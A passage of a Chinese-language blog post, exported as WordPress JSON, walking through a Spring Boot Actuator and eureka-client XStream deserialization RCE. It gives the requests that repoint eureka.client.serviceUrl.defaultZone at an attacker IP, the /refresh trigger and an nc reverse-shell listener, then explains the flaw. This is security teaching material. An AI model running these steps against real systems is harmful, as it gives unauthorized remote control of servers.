RCE<\/h3>\n<h4>1\uff09\u5229\u7528\u6761\u4ef6<\/h4>\n<ul>\n<li>\u53ef\u4ee5 POST \u8bf7\u6c42\u76ee\u6807\u7f51\u7ad9\u7684 \/env \u63a5\u53e3\u8bbe\u7f6e\u5c5e\u6027<\/li>\n<li>\u53ef\u4ee5 POST \u8bf7\u6c42\u76ee\u6807\u7f51\u7ad9\u7684 \/refresh \u63a5\u53e3\u5237\u65b0\u914d\u7f6e\uff08\u5b58\u5728 spring-boot-starter-actuator \u4f9d \u8d56\uff09<\/li>\n<li>\u76ee\u6807\u4f7f\u7528\u7684 eureka-client &lt; 1.8.7\uff08\u901a\u5e38\u5305\u542b\u5728 spring-cloud-starter-netflix-eureka client \u4f9d\u8d56\u4e2d\uff09<\/li>\n<li>\u76ee\u6807\u53ef\u4ee5\u8bf7\u6c42\u653b\u51fb\u8005\u7684 HTTP \u670d\u52a1\u5668\uff08\u8bf7\u6c42\u53ef\u51fa\u5916\u7f51\uff09<\/li>\n<\/ul>\n<h4>2\uff09\u5229\u7528\u65b9\u6cd5<\/h4>\n<h5>\uff081\uff09\u67b6\u8bbe\u54cd\u5e94\u6076\u610f XStream payload \u7684\u7f51\u7ad9<\/h5>\n<p>\u63d0\u4f9b\u4e00\u4e2a\u4f9d\u8d56 Flask \u5e76\u7b26\u5408\u8981\u6c42\u7684 python \u811a\u672c\u793a\u4f8b\uff0c\u4f5c\u7528\u662f\u5229\u7528\u76ee\u6807 Linux \u673a\u5668\u4e0a\u81ea\u5e26\u7684 python \u6765 \u53cd\u5f39 shell\u3002<\/p>\n<pre><code>python springboot-xstream-rce.py\n<\/code><\/pre>\n<h5>\uff082\uff09\u76d1\u542c\u53cd\u5f39 shell \u7684\u7aef\u53e3<\/h5>\n<pre><code>nc -lvnp 7777\n<\/code><\/pre>\n<h5>\uff083\uff09\u8bbe\u7f6e eureka.client.serviceUrl.defaultZone \u5c5e\u6027<\/h5>\n<pre><code>POST \/env\nContent-Type: application\/x-www-form-urlencoded\n\neureka.client.serviceUrl.defaultZone=http:\/\/124.71.45.28:801\/\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250116191743.png\" alt=\"Pasted image 20250116191743.png\"><\/p>\n<h5>\uff084\uff09\u5237\u65b0\u914d\u7f6e<\/h5>\n<pre><code>POST \/refresh\nContent-Type: application\/x-www-form-urlencoded\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250116192251.png\" alt=\"Pasted image 20250116192251.png\"><\/p>\n<h5>\uff085\uff09\u5f97\u5230 Shell<\/h5>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250116192415.png\" alt=\"Pasted image 20250116192415.png\"><\/p>\n<h4>3\uff09\u6f0f\u6d1e\u539f\u7406<\/h4>\n<ol>\n<li>eureka.client.serviceUrl.defaultZone \u5c5e\u6027\u88ab\u8bbe\u7f6e\u4e3a\u6076\u610f\u7684\u5916\u90e8 eureka server URL \u5730\u5740<\/li>\n<li>refresh \u89e6\u53d1\u76ee\u6807\u673a\u5668\u8bf7\u6c42\u8fdc\u7a0b URL\uff0c\u63d0\u524d\u67b6\u8bbe\u7684 fake eureka server \u5c31\u4f1a\u8fd4\u56de\u6076\u610f\u7684 payload<\/li>\n<li>\u76ee\u6807\u673a\u5668\u76f8\u5173\u4f9d\u8d56\u89e3\u6790 payload\uff0c\u89e6\u53d1 XStream \u53cd\u5e8f\u5217\u5316\uff0c\u9020\u6210 RCE \u6f0f\u6d1e<\/li>\n<\/ol>\n<p>\u901a\u4fd7\u89e3\u91ca\uff1a<br \/>\n\u60f3\u8c61\u6709\u4e00\u4e2a\u8f6f\u4ef6\u7cfb\u7edf\uff08\u5c31\u50cf\u4e00\u4e2a\u5c0f\u533a\uff09\uff0c\u5b83\u7528\u4e86Eureka\u8fd9\u4e2a\u4e1c\u897f\u6765\u7ba1\u7406\u670d\u52a1\uff08\u53ef\u4ee5\u7406\u89e3\u4e3a\u5c0f\u533a\u7684\u7269\u4e1a\u7ba1\u7406\u7cfb\u7edf\uff09\u3002Eureka\u91cc\u9762\u6709\u4e2a\u53ebXstream\u7684\u5de5\u5177\uff0c\u8fd9\u4e2a\u5de5\u5177\u672c\u6765\u662f\u7528\u6765\u5904\u7406\u6570\u636e\u8f6c\u6362\u7684\uff0c\u5c31\u50cf\u628a\u4e1c\u897f\u4ece\u4e00\u79cd\u683c\u5f0f\u53d8\u6210\u53e6\u4e00\u79cd\u683c\u5f0f\u3002\u4f46\u662f\u8fd9\u4e2a\u5de5\u5177\u5b58\u5728\u4e00\u4e2a\u5b89\u5168\u6f0f\u6d1e\uff0c\u5c31\u597d\u6bd4\u7269\u4e1a\u7ba1\u7406\u7cfb\u7edf\u6709\u4e2a\u540e\u95e8\uff0c\u574f\u4eba\u53ef\u4ee5\u901a\u8fc7\u8fd9\u4e2a\u540e\u95e8\u8fdc\u7a0b\u63a7\u5236\u6574\u4e2a\u7cfb\u7edf\uff0c\u8fd9\u5c31\u662f\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\uff08RCE\uff09\u6f0f\u6d1e\u3002<\/p>\n<p>\u5f53\u653b\u51fb\u8005\u901a\u8fc7\u524d\u9762\u7684\/env\u63a5\u53e3\u8bbe\u7f6e\u4e86\u5305\u542b\u6076\u610f\u4ee3\u7801\u7684\u5c5e\u6027\u540e\uff0c\u5237\u65b0\u914d\u7f6e\u5c31\u50cf\u662f\u201c\u6fc0\u6d3b\u201d\u8fd9\u4e9b\u6076\u610f\u8bbe\u7f6e\u3002\u56e0\u4e3a\u5237\u65b0\u914d\u7f6e\u4f1a\u5bfc\u81f4\u7cfb\u7edf\u91cd\u65b0\u89e3\u6790\u548c\u52a0\u8f7d\u76f8\u5173\u7684\u914d\u7f6e\u4fe1\u606f\uff0c\u5176\u4e2d\u5c31\u5305\u62ec\u653b\u51fb\u8005\u901a\u8fc7\u6f0f\u6d1e\u8bbe\u7f6e\u7684\u6076\u610f\u53cd\u5e8f\u5217\u5316\u6570\u636e\uff08XStream\u53cd\u5e8f\u5217\u5316\uff09\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001SpringBoot \u7b80\u4ecb 1.Spring \u6846\u67b6\u6982\u8ff0 Spring \u662f\u4e00\u4e2a\u5f00\u6e90\u7684 Java \u5e73\u53f0\uff0c\u5b83\u7b80\u5316 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[52,9],"tags":[],"class_list":["post-1584","post","type-post","status-publish","format-standard","hentry","category-52","category-9"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1584","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=1584"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1584\/revisions"}],"predecessor-version":[{"id":1585,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1584\/revisions\/1585"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=1584"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=1584"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=1584"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}